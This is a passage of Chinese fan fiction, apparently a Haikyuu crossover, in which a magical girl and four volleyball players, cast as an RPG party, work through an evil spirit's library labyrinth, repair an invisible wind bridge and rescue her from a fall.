「呵。」没想到，邪祟竟然笑了。
果然，智慧体会产生感情吗？接连三天出现的怎么都是奇怪的变体？
“我要怎么离开这里？”她继续拖延着时间。
邪祟的能力也许就与图书馆或者书籍有关。
难道说，是知识？
毫无疑问，人类大脑的潜能巨大，但使用率的开发却仅仅冰山一角，无论是容量也好，处理能力也好都并非无限的。
若是一次性往脑中灌入海量的知识，一个正常人很有可能会因为无法处理这些信息而陷入癫狂。
还有一种理论就是「知识的诅咒」，简言之，就是知道得越多，越会发现自己无知，并且无法退回、想象自己在掌握这项知识前的状态，就好像是被知识诅咒了一般。
「一切的答案就在迷宫的中心处，当然，如果是你的话，已经知道了吧。」
总觉得它这句话有一些古怪。
不过，确实不用它提醒，阎魔乐也早就发现，在这个不知道面积有多大的迷宫深处，存在中一股强大而邪恶的气息。
那种不遗余力地展现着自己的强大的行为宛如开屏的孔雀，生怕他人没能发现那一股力量。
阎魔乐当然并不想长他人威风，灭自己志气，但……她依然认为那并不是现在的她能对付的敌人。
可为什么要用迷宫这样的形态呢？如果是知识或是书本的异能，直接把人关在书中不就可以了吗？
迷宫的特性是未知。
走进迷宫的人会被剥脱对方向的感知，很容易会迷失，陷入进退两难的境地。
于是，恐惧产生了。
害怕迷路，害怕原地打转，害怕前方是死路，害怕永远都出不去，害怕转错了一个拐角……
并且，这些恐惧会随着时间的增加、体力的减少而逐渐增强，迷失在这片白色的坟墓之中化作一具枯骨。
但，不走不行啊……
阎魔乐活动了下脖颈和肩膀，做着稍显徒劳的准备。
「为了让这场游戏更加公平，我为你准备了伙伴。」
随着它的话音落下，阎魔乐还来不及吐槽邪祟竟然也有公平之说，就感到身后出现了几个身影，她即刻汇聚魔力防御着转身，再度愣在了原地。
几小时前才见过的四个男高们闭着眼站成一排，他们穿着不同的古怪服饰像是RPG游戏中的角色。
「那么，最后拔起法杖就可以进入开始了。」
法杖？
阎魔乐回头看向迷宫的入口，原本空无一物的地面上斜斜地插着一根一人高的法杖，看不出属于什么木材的杖身稍微有些扭曲，上方是一个拳头大小的半透明晶体。
“若是我拒绝呢？”带着普通人一起去闯邪祟设置的游戏根本就是无稽之谈，
「你当然可以耗在这里，毕竟和我们的战斗一般只有精神会受损。」邪祟的语气没有起伏，「当然，他们也是一样。」
果然，说什么来助力的伙伴，分明就是人质。
可……为什么是他们？
诚然，她与
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这些少年有过交集。但要是用来威胁她，正常的反派难道不是会选择与她更为亲密的朋友吗？那样更能扰乱她的内心吧？
这么想着，阎魔乐突然有些庆幸十六夜并不在这里。
抱歉抱歉。
她看着少年们暗暗道歉。
总之，邪祟选择他们的原因应该会暴露出它的一部分能力，先仔细观察一下吧。
首先是，黑尾。
他身着简单的皮甲，左手处固定着一面红棕色的盾牌，身后背着一柄巨斧，一副战士打扮。为了固定巨大的武器，多条皮带绑在他匀称的身材上，成功让R18气质成倍增长。
然后是，研磨。
他穿着深紫色紧身衣，连着同色的兜帽，脸上的面罩从鼻子开始往下遮住他秀美的脸庞，腰间用皮带固定着一排小刀和不知名的危险药剂。看上去是灵巧的斥候或者是刺客。
接着是，月岛。
一袭白色长袍饰以水蓝色花纹，手拿一本精致装饰的古籍，不知道是不是阎魔乐的错觉，此刻闭着眼睛没有说话的毒舌拽男看上去分明有一些神圣的意味。
最后，山口。
深棕的短款斗篷下是一袭绿色的皮甲，他手中的弓箭简单直接地宣告着他的职业。
还有，法杖。
显然，她是魔法师这个职业。
无疑是一个完整的讨伐魔王的勇者小队了。
这个邪祟什么意思？异世界勇者番忠实爱好者？
至于少年们的选择并非最强，并非最弱，并非和她最亲密，不是同一个位置，也不是来自于同一个地区……
突然间，一个念头闪过她的脑海。
他们唯一的共同点是——在太阳完全落山之后，曾出现在图书馆门口。
找到答案的阎魔乐猛地握紧拳头。
这意味着这个邪祟的异能有范围限制！
它的能力无法在白天发动，也无法在离开图书馆太远的位置上发动。
这就解释得通了。
比如，为什么它只会在半夜用这么弱小的方式创造怪谈？
它不是不想，而是做不到。
图书馆五点就会关门，它根本找不到入夜后的机会来发动能力。
所以，它希望以此来吸引学生半夜探索，这样才能发动迷宫幻境。
异能越大，限制越大。
邪祟可以通过不断增长实力化解这个限制，但在这个侵蚀初期的世界中，它还没有足够的时间成长就遇到天敌魔法少女。
其实，在天黑得比较早的冬天也许偶尔能得逞。
但并没有相关类似于“听说某某班级夜里去图书馆探险的那个同学疯了”的传闻就意味着它还没有成功过。
新得出的结论让阎魔乐信心大增。
在制约下它必须保持游戏的公平，因为它目前的实力还不够强，所以被拉进来的少年们既是人质也是可能真的是助力。
还有……这根所谓的法杖。
想着，阎魔乐走到法杖跟前，轻轻握了上去。
入手是温润的质感，杖身被打磨得很好，她也没有感受到什么邪恶的气息，可以放心使用。
于是，阎魔乐拔起法杖，直接对着迷宫的墙体轰出了一记纯粹的魔力攻击。顿时，墙体上被轰出了一个直径约有一米的深坑。
尽管没有洞穿，但普通的平A攻击就有这个威力，她还是挺满意的，毕竟还不知道墙体有多结实。
虽然她习惯于灵活的无杖施法，但是能够收束魔力的法杖就等同于枪，将魔力化作子弹并增幅射出，增加威力。
原本在想象力和操控方面她就没什么问题，现在威力也弥补了。
那么，就当一回正统的魔法师吧。
她倒要看看这邪祟还能整什么幺蛾子出来。
正想着，她听到身后传来衣料摩擦悉悉索索的声音。
率先清醒过来的战士黑尾咧开嘴笑着问：
“哦呀，这里是什么地方？”
41.阎魔乐图书馆奇遇记2
糟糕，是爆炸声把他们吵醒的吗？还没想好怎么解释呢！
阎魔乐猛地转身去看少年们的反应，却感到衣料轻柔的摩擦，可她明明是穿着当做睡衣的T恤和短裤。
她低头一看，发现身上不知什么时候罩上了一条黑色的法师长袍。她伸手摸了摸背后，垂着一只宽大的兜帽。
这么全面的吗？
不对，现在不是想这个的时候。
“根据地图显示，这里就是我们要去的目的地。”斥候研磨从怀里掏出一张羊皮纸，上面画着简易的路线图，“传说迷宫中心居住着一位强大的女巫，她可以实现找到她的冒险者一个愿望。”
“太好了，没有走错方向呢。”弓箭手山口松了一口气。
哎？这么容易就接受了目前的情况吗？
难道说……他们认为自己在梦境中？还是记忆被篡改了？
还有，迷宫中心的能够实现愿望的女巫。
这是什么童话故事？
不过，这个邪祟明显思维缜密，逻辑清晰。它如此大费周章，也许不是无用的信息。
所以说……这很有可能也是某个设定好的规则。
说不定可以向她许愿离开这里或者干脆许愿消灭邪祟。
只是不知道愿望是每人一个还是一支小队一个。
理论上来说，消灭自己的创造者应该不太可能，但是换个方式问也许能达成一样的效果。
比如，要和她的创造者见一面这样。
总之，走一步看一步吧。
值得庆幸的是，这里的几个可都是聪明人呢。
“毕竟是阿忠和研磨一起制作的地图呢，一个看整体，一个把控细节。”黑尾夸奖道。
阎魔乐莫名感觉有一些违和，还来不及分辨，她的思绪就被打断。
“不、不是的，还有阿乐也帮了很多忙。”山口微微低下头，显得有些不好意思。
从那张羊皮纸上，阎魔乐能够感到自己魔力的气息，应该是用了什么显像的术法。
“事不宜迟，我们赶紧出发吧。”黑尾转向平静的拽男，“麻烦月岛为我们上祝福吧。”
“啧。”闻言，月岛瞬间变脸露出不耐的表情，“哈？这种看上去小菜一碟的迷宫也应付不了吗？白长了这身肌肉，难道说你是外强中干的类型吗？”
哎？不对吧？
阎魔乐咽了咽口水，她的担忧果然成真了。
月岛再怎么恶劣，那也是对同辈吧？
为什么是这个傲娇恶劣的人当贤者啊？
正这么想着，月岛又转向山口：“握弓的手不会发抖吗？还能瞄准目标吗？不会击中自己人吧？”
该说是出人意料还是在意料之中呢？
保持了月岛的毒舌人设，但完全颠覆了和蔼贤者的形象好吗？
真是神看到了都要生气的程度呢！
接着是研磨。
“好好练练耐力吧，不会刚刚摸到敌人的喉咙就没有力气补刀了吧？”
按照这个进度，下一个该轮到她了吧？
谁都不放过吗？不用这么公平的啊！
念头还没结束，月岛就直视着她的眼睛。
“毫无头脑地一通扫射，没了魔力的魔法师是准备冲上去肉搏吗？”
开玩笑，现在的她最会精打细算了！
刚才她只是对法杖进行试用罢了。
这家伙根本不知道她现在过的是什么样的苦日子好吗？！
等等，这股涌现出来的力量是？
阎魔乐微微低下头，认真感知自己的身体情况。
体质、体力不仅有些微增长，最重要的回蓝速度、施法速度也有一定的增强。
马萨卡……是因为月岛刚才的话？
她猛地抬起头，刚好对上他戏谑的眼神，拽男推了推眼镜得意地笑了下。
Hold on…… Hold on！
贤者确实是使用这种辅助类的术法没有错。
可他们不都是通过向神祈祷才能使用神之术法的嘛？
他这是信仰的是什么神？
毒舌之神？
“谢谢月月～”山口和善地笑起来。
黑尾尝试着抓握手掌感受体内涌起的力量：“真能干啊。”
“谢……谢谢。”研磨低声道谢。
竟然还是针对不同人进行的祝福，这何尝不是一种天赋异禀呢！
哦，不对，是反向祝福。
这么看来，难道受伤了也只要说一句“这点小伤都需要治疗吗？”，或者“再晚点送过来就要愈合了”这样的话就可以使用恢复术法了吗？
不得不说，这支小队看上去不靠谱，但实际上非常靠谱啊……
所以，这个邪祟说的是真的？
只是，她现在无法确定是身体被转移进来了，还是仅仅是精神。
魔幻版「缸中之脑」？
并不清楚这里的时间流速和外面差多少，如果到早上了，他们还是失踪或者无法醒来的状态，不管是哪种，都会引发很大的麻烦。
见少女迟迟不说话，山口关心道：“阿乐，出什么事了吗？”
“我没事。”阎魔乐回过神，她向来奉行谨慎是美德，“我先飞上去看看能不能选择一条安全的路线。”
她轻轻晃了晃法杖，双脚离地，整个人悬浮起来。
很快，阎魔乐就发现事情并没有那么简单，一旦飞到超过3米的位置上，她会立刻失去方向感。
不仅如此，基础的空间规则被扭曲，什么“近大远小”之类的常识全部不能用，她没办法准确地判断路线。
这邪祟，真不简单。
阎魔乐落回地面，向少年们如实相告自己的所见。
“看来只能向前呢。”黑尾扶了扶背后的巨斧，率先跨出一步，振奋着众人的情绪。
所以，月岛也没说什么风凉话。
“那么，首先，是向左还是向右呢？”研磨指了指一开始就要人选择的入口。
“看上去没有区别吧？”月岛怀疑地看了看一模一样、宛如镜像的墙体。
受到羊皮纸的启发，阎魔乐变幻出一块由魔力构成悬浮在他们面前的画布，通过控制魔力的走向绘制着地图，右上角还有一个计时器。
“这样虽然走得会慢一点，但是少了反复走错路的可能。”
“嗯……我觉得这样很好。”研磨走到少女身边，看样子是想要帮忙一起绘制地图。
“奥～那就出发吧！”
黑尾鼓舞着众人向前走去，阎魔乐和研磨赶紧跟上，山口和月岛负责警戒跟在最后。
……
在未知的迷宫中探险实在是一件消磨斗志的事情，长时间走在看似无尽的黑白高墙之中，压抑感逐渐累积。
两小时中，除了他们发出的声响，这里几乎寂静无声，温度不高不低，明明是适宜的状态，却让人毫无感觉，仿佛连时间都静止下来。
还好有地图和计时器，否则真的会迷失在这里。
来个宝箱怪也好啊。
阎魔乐不禁吐槽着。
“这个女巫该不会是个超级i人吧？把自己藏在那么深的地方。”月岛稳定输出。
“月月，这样不好啦，万一被听到怎么办？”山口赶紧制止道。
“需要休息下吗？”
行至一道岔路口，打头阵的黑尾停下脚步，他并没有忘记战士要比其他职业强壮很多。
现下最累的应该是画着地图的两个，阎魔乐持续输出魔力，研磨则保持着高度集中保证地图的准确。
两人都微微冒汗，显得有些虚弱。
“有风。”山口突然说，他微微抬起头辨别着空气的流动。
迷宫虽然不是完全封闭，可在这高墙之间，近乎静止的世界怎么会有风？
然而，弓箭手对于气流的感知最为敏感，
即使有风并不意味着出口，起码也是新的发现。
就是不知道，前方的未知究竟是福还是祸了。
“这边。”
山口勇敢地跑到队伍之前，引着大家向前某个方向移动。
静止之下的改变是最为振奋人心的，他们也来不及辨别前方是否是陷阱就跟了上去。
没想到刚才还曲折的探险，现在七拐八拐，竟没有遇到一条死路。
随着不断前进，风越来越大，一直到其他几人也能够感觉到。
只是，夹杂在微风之中的气息，让阎魔乐感觉不妙。
她看了看月岛，发现他正好回望，两人默契地向对方确认了这个信息。
转过某个转角，迎面袭来一阵狂风，山口一脚踩空，身形不稳，黑尾眼疾手快地拽住了他的斗篷，将他拉回了地面。
众人看着眼前豁然开朗的场景大吃一惊。
所有迷宫的墙体已然不见踪影，取而代之的是一片空旷的天空，脚下是万丈深渊，狂风的呼啸声不绝于耳。
“谢谢……”山口脸色苍白，十分后怕地嗫嚅。
他们没想到在压抑的迷宫之中还有这样的景色，如此不合常理。
“哎，没有路了吗？”黑尾张望了下。
研磨听到一些身后传来轻微的响动，警觉地回过头，猫猫顿时炸毛。
来时的路已经没了，他们所处的位置只剩下一截，在这片空域之中宛如一叶扁舟。
他们被困在这里了！
“这是……”山口脸色更加苍白，因为是他带着大家往这里赶的。
“从好的方面想，这也许意味着我们走对了，只有破解了这个谜团才能继续前进。”黑尾乐观地说，“我总觉得这片空域十分不同寻常呢。”
“嗯……”山口振作起来，决心找到蛛丝马迹帮助大家离开这里。
他望向空域极目远眺，继而欣喜地喊道：“正前方有一段迷宫的通道。”
“我试试看能不能飞过去探查一下。”
空域中弥漫着陌生的魔力，随意靠近是很危险的，阎魔乐幻化出一道绳索系在自己的腰间，另一头交到黑尾的手中。
黑尾将绳子缠在胳膊上笑道：“放心，我会拉住你的。”
阎魔乐点点头，站到地面的边缘，她施展悬浮咒，却并没有像往常一样飞起来。
“看来这里禁止飞行。”
阎魔乐尝试着分析空中的魔力，随着她的感知，她越发觉得不对，这些魔力构成……
她尝试着将感知到的景象画下来，画布上有了不一样的景象。
暴乱无章的狂风，此刻却有了形状。
“这是？”
众人凑过来。
魔力绘制的简易图形显示，通道的两层是两排由狂风组成的透明山丘，他们的面前有一道看不见的断桥
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连接着对面的通道。
断桥的断口在前方二十米左右的位置上，他们所处这一侧的断桥正垂在崖壁之上。
这座桥并不是现代的拉索桥，没有强韧的钢索和钢筋混凝土支撑，但还有一半却依然挺立着。
“是绳索。”阎魔乐说着，从山体上绘制出几条线，拽住了桥体。
“可绳子是如何固定在山体上的呢？”
这也是阎魔乐所不理解的，她勉强能感知到在风暴之丘的山体上有一些魔力流动不一样的位置，但由于干扰太大，魔力混杂在一起，还没达到完全体的她无法准确地探测出真相。
“我来看看。”山口平复了心情，迎着风认真注视着眼前的景象，一旦有了预设，就能看到更多，气流的移动被他敏锐地捕捉到，他指着山上的位置，“好像是圆环，绳子穿过了圆环固定着。”
“我们也有现成的绳子。”
阎魔乐解下腰间的绳子，黑尾也是一样，把绳子的那一头交到了伸出手的研磨手中。
研磨探身摸到了断掉的桥体，他将那条魔力之绳系在了桥体一侧的栏杆扶手上。
“现在就是要看怎么样才能把绳子精准地穿过圆环了。”
“我来……试试吧。”
山口将魔力之绳的另一头绑上弓箭的尾部，他稳稳地举起弓、瞄准、拉弦，弓箭划破空气，精准地穿过圆环，带过了绳子，宛如穿针引线。
眼看绳子顺利挂住，众人还没有来得及高兴，就看到弓箭被风吹落，绳索在风中飘荡，根本无法回收，起不到固定的作用。
阎魔乐伸手尝试收回自己凝成绳子也失败了，在这片空域，无法使用任何有漂浮属性的术法。
“等等，再让我试一次。”
山口再次在弓弦搭上绑有魔力之绳的弓箭，他拉了个满弓，却迟迟没有射出那一箭，似乎与看不见的敌人僵持着。
他在等。
等一个时机。
突然，他眼光微动，弓箭离炫，那支箭顺利地穿过圆环，挂住了绳索，眼看就要落下，此刻正好有一道狂风刮过，那支箭竟然顺利地被风送回到了探险者们伸手可以够到的位置上。
研磨眼疾手快地抓住回流的弓箭，将绳索交给黑尾，后者立刻用力拽紧，硬生生将桥面抬起了一些。
众人为之一振，研磨随即将弓箭连带着绳子绕过桥体的扶手固定好，阎魔乐出手加长了绳索，山口接过那一只箭再次拉弓等待。
这是个极度耗费体力的活，弓箭手的额头渗出细密的汗珠。
“如果是你的话，没问题吗？”月岛说着，竟然老老实实打开古籍，按照神的咒语为他持续恢复着体力
真是少一个人都不行呢。阎魔乐暗自想着。
他们一寸寸如法炮制，随着桥体被不断拉起，黑尾、山口和研磨率先站上了透明的风之桥，肉眼看过去他们像是漂浮在空中一样。
他们的腰间绑着一样的绳索，牢牢地被魔力的钉子固定在迷宫的墙体上。这自然是出自阎魔乐的手笔。
大约过了一个小时，魔力的画像显示断掉的桥已经修复。
因为不知道桥面的载重情况，他们决定一个接一个过去。
为了确保伙伴们的绳索安全，阎魔乐必然是最后一个通过。
看向空无一物的前方，她的心中生出了几丝恐惧。
她能够飞行理应是不害怕高的，可是，那是在她的术法没有失灵的情况下。
“阿乐，不要怕，一点点来就好。”黑尾大声喊着挥着手。
“不会吧，平时不是很能干吗？”月岛说着反话，目光却牢牢锁定着她。
“月月，真是的。”山口无奈地说，复又望向少女，“我们在这里等着你。”
“……”研磨闻言立刻点点头，表示他也一样。
阎魔乐感到勇气上涌，她闭上了眼睛，踏上了第一步。在她的意识之中，她走在了夹在山间的一座吊桥之上。
她不敢走得太快，这座透明的桥随着她的脚步上下弹动着，耳侧狂风嘶吼，咆哮着、咒骂着、期待着冒险者的坠落。
才不会让你得逞。
阎魔乐握紧手上的法杖，将意识投注在几十米外的伙伴身上。
这是个不错的办法，她安然地跃上了另一侧的桥继续前进。
还有二十米。
“吱嘎——”
不妙的声音夹杂在风声之中，阎魔乐不由得加快了脚步。
十米。
狂风越发暴虐，似乎在大声密谋着什么。
“阿乐，快跑！有一个圆环松脱了！”
阎魔乐立刻“噔噔噔”跑起来。
五米。
“锃”的一声，绳索崩断，桥体在瞬间开始崩塌。
“跳！”黑尾着急地大喊，探出大半个身子朝她伸出手，他的身后其他人正拉住他以防他也摔下去。
阎魔乐睁开双眼，整个人向前扑过去。
与此同时，脚下的支撑完全消失，整座桥在下落中被狂风撕碎。
她奋力向前伸出左手，她从没有像现在一样希望自己长得再高一点。
狂风之中，阎魔乐的手被吹得稍稍偏移了位置，她的指尖堪堪擦过黑尾的掌面。
随后，下坠。
阎魔乐瞪大眼睛，瞳孔中映出的画面是少年们焦急吼叫的模样。
完蛋了！
42.阎魔乐图书馆奇遇记3
还没完！绝不能交代在这里。
阎魔乐努力向上伸出法杖，仍然是不够距离，眼看就要万事休矣，一根绳索猛然从尖端射出，黑尾立刻伸手死死拽住，其他人分别拉着他的腰带和双腿防止他被下落的冲击扯下去。
绳子瞬间“铮”得绷直，致命的坠落被制止。
因为惯性，阎魔乐抓着法杖的双手往下滑了一段，她的小腹恐惧得揉作一团。肾上腺素飙升，她把全身的力量放在手掌上。
一定……要活下去！
此刻，这根邪祟提供的法杖却是她唯一的仰仗。
“没事的！”
“抓紧啊！”
“我们拉你上来！”
男高们（冒险者版）七嘴八舌地喊道，像是球场上打出好球一定要喊出来增加士气的习惯，手上则在马不停蹄地向上拽绳子。
阎魔乐没有向下看，尽力保持全身静止好让救援工作更加顺利。
一寸一寸，她离他们越来越近，那些焦急、恐慌、紧张的情感此时却并不是负面的情绪，她甚至能够看到他们瞳孔中自己的倒影。
当他们终于抓住她的胳膊，将她从无垠的气旋地狱中拯救出来的时候，一股强烈的情感涌上心头，蓬勃得几乎要从眼睛和嘴巴中化作眼泪、化作呼喊溢出。
迷宫似乎变回了原来的样子，在她被拉上去的一瞬间，一堵高墙出现隔绝他们与狂风，仿佛刚才的高空并不存在，前方的道路幽深而安静。
阎魔乐无力地跪坐在地上，她全身僵硬，双手微微颤抖，法杖倒在一边。
在万丈深渊上双脚悬空，濒死的体验太过于剧烈，即使被内脏包围的时候，她都没有这样恐惧过。
切实的劫后余生，往往伴随着畅快的呼喊与痛哭。
阎魔乐死死咬着牙，泪水被禁锢在眼眶之中。
这是她离死亡最近的一次。
不要害怕……不要遂了邪祟的愿。
阎魔乐扶住双臂缩成一团，似乎想以此来消除体内的恐惧，可仍然不住地颤抖。
只差一点，她就无法再净化邪祟了！
差一点，她就不能再见到十六夜、星那、鬼冢、学姐们……还有翔阳他们了。
差一点，她就……不能再打排球了。
明明好不容易拿回一点魔力，好不容易交到了朋友，好不容易觉得排球有趣了一些。
她……还想在这个世界和朋友们一起打排球……
少年们围在她的周围，关切地望着她。
“没事了，没事了。”黑尾宽大的手掌轻轻落在她的肩上，战士温热的体温透过法袍，无关暧昧，只有安慰的心意。
“要喝点水吗？”山口从行李中取出水袋递到她的面前。
阎魔乐颤抖着伸出手，勉强抓过水袋抬头喝了一口。因为喝得太急，她不小心呛到咳嗽起来。
山口赶紧拍了拍她的后背，研磨则递上一块手绢。
“谢谢你们。”阎魔乐垂下眼，擦了擦嘴角的水渍。
眼见着同伴们如此关心自己，她越发不想在这里拖大家的后腿。
已经感觉好多了。她这么骗自己。
“我们继续前进吧。”阎魔乐撑着膝盖站了起来。
时间不够，绝对不可以在这里停下来。
“还是休息下吧。”黑尾这么说着，却适时地放开手，他好像永远都会是这样，承载并支持着他人，温柔而坚韧。
“是呢，我也累了，想稍微休息下。”山口善解人意地说。
不过，他的话并非全是体贴，他的双臂确实也有些疲累。即使有月岛的祝福加持，长时间持弓的体力消耗还是不可避免。
研磨在一旁附和道：“恢复体力之后，会提高探索效率。”
月岛没有说话，站得稍远的他翻开古籍，悄悄地翻到某一页，修长的手指按住了目标中的咒语，他注视着少女的背影，低声向神祈祷。
阎魔乐还想说些什么，一阵睡意袭来。
这是？
她在第一时间就明白了这是在场的另一位魔力使用者做了些什么，却因为精神孱弱魔抗降低，她甚至来不及看向始作俑者就失去了意识。
她晃晃悠悠地倒下，黑尾赶紧一把托住，她安然地靠着睡了过去，微蹙的眉头逐渐舒展开，舒适而安逸。
山口铺好了毯子，研磨将包袱作为枕头放好，黑尾小心地将少女安置好。
做完这一切，三人扭头看向月岛。
似乎是早料到了他们会“发难”，不坦率的傲娇偏过头，嘴硬道：“我是觉得她硬撑着上路一定会拖我们后腿，所以才用了安神咒。”
“是啦是啦。”黑尾露出“我都知道”的表情，他用手指蹭了蹭被绳子磨伤的掌心，“那么我们也休息下吧？我先来守夜。”
月岛的视线落在了他的小动作上，再次翻起了书。
阎魔乐做梦了。
宁静而别致的庭院中绿意盎然，石径蜿蜒，覆盖着些许青苔。一池清水，绚烂的锦鲤在其中悠然自得。中心处是一座古朴的凉亭，其中空无一人。
一个和蔼的身影坐在一块大石头上似乎在晒太阳，远处有两只小动物正追逐打闹，显得特别美好可爱。
穿着黑白裙子的身影推着餐车走进凉亭，往桌子上摆放各色的甜点和水果，最后点燃了一簇小小的火焰煮上一炉热茶。
庭院旁的宅邸中似乎有更多身影，她望过去，却无法再看得更加真切了，梦境中的世界宛如被蒙上一了层模糊的滤镜，呈现出毛玻璃的质感，所有修辞全是她的主观感受。
很奇怪的梦，奇怪到她在梦中都能知道自己在做梦。
她像一个看客一般注视着这一切，一丝一毫似乎与她无关，她只知道那里美好得令人落泪。
一阵悦耳的音乐声从宅邸中传了出来。
揪心的痛苦突如其来地攫住了她的整颗心，在这温和的梦境中显得如此不合时宜。
阎魔乐惊醒，她猛
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地坐了起来，有些茫然地四顾。当黑白的高墙映入眼帘，纸张的油墨味沁入鼻腔，她才终于能确定刚才的那些美好不是她临死前的幻觉。
其他人两两在她两侧的不远处，把她护在中间，他们或坐或躺地小憩着，研磨则坐在最前方守夜。
“做噩梦了吗？”研磨听到声响转头过来，低声问道。
“我睡了多久？”阎魔乐调整了坐姿，靠在墙上，她能够感觉到体力和精神的恢复，看来月岛不止是使用了简易的催眠术。
研磨看了看画布上显示的时间，立刻换算道：“一个多小时。”
距离天亮时间不多了，得尽快赶路。
尽管阎魔乐这么想，可当她看向熟睡的少年们，她却又不忍心叫醒他们。
毕竟在刚才暴风的关卡中，他们也消耗了很多体力。
“干脆再休息一会怎么样？”研磨看穿了她的犹豫，率先开口道。
“研磨也去睡会吧，我来守夜。”阎魔乐起身让出了简陋的休息处，想要和他换个位置。
研磨见她似乎恢复了状态，便没有再坚持，除了法师之外，他的体力是最差的。
阎魔乐重新坐下，她望着前方似乎是通往无限的甬道，回忆起刚才那个美好又痛苦的梦，想从中发现一些不合常理的细节。
差不多又过了一小时，其他人也陆续转醒，他们看到少女恢复了精神显得很高兴。
阎魔乐起身，郑重地朝着几人鞠了一躬，发自内心地说：“真的非常感谢，你们救了我。”
“伙伴之间不就是应该互帮互助吗？你可是我们的魔法师。”黑尾背上巨斧，咧开嘴道，“已经没事了吗？”
“是呢，毕竟我的伙伴们有可靠坚韧的战士、灵巧敏锐的斥候、精准沉着的弓箭手，还有……”阎魔乐笑起来，她一边捡起法杖一边说，“能使用高级恢复系祝福的高超贤者。”
“太好了，月月。”山口拍了拍拽男，似乎是在为他俩关系的缓和而感到高兴。
“很累人的。”月岛没好气地嘟囔着，嘴角微不可及地上扬了两分。
研磨收拾着毯子放进包袱中，皮袋却没有鼓起多少。
这个小小的包袱经过阎魔乐空间魔法的改良，可以放下比看上去的体积大十倍的物品，重量上也会有一定程度的减轻。
如果可以量产的话，卖给其他冒险者应该可以赚上一笔吧？
研磨下意识开始计算成本、定价和利润。
不过还是要等他们的冒险旅程结束之后了。
想着，他扎紧袋子的封口，黑尾默契地拿起来背在背上。
“好了，那么，我们继续出发吧。”作为这里唯一的三年级，也是唯一的排球队队长，黑尾似乎自然而然地担起了冒险小队队长的职责。
“好！”众人异口同声道。
黑尾打头阵开道，山口断后警戒，研磨和阎魔乐继续画地图，月岛辅助。
有关少年们的冒险之旅仍在继续。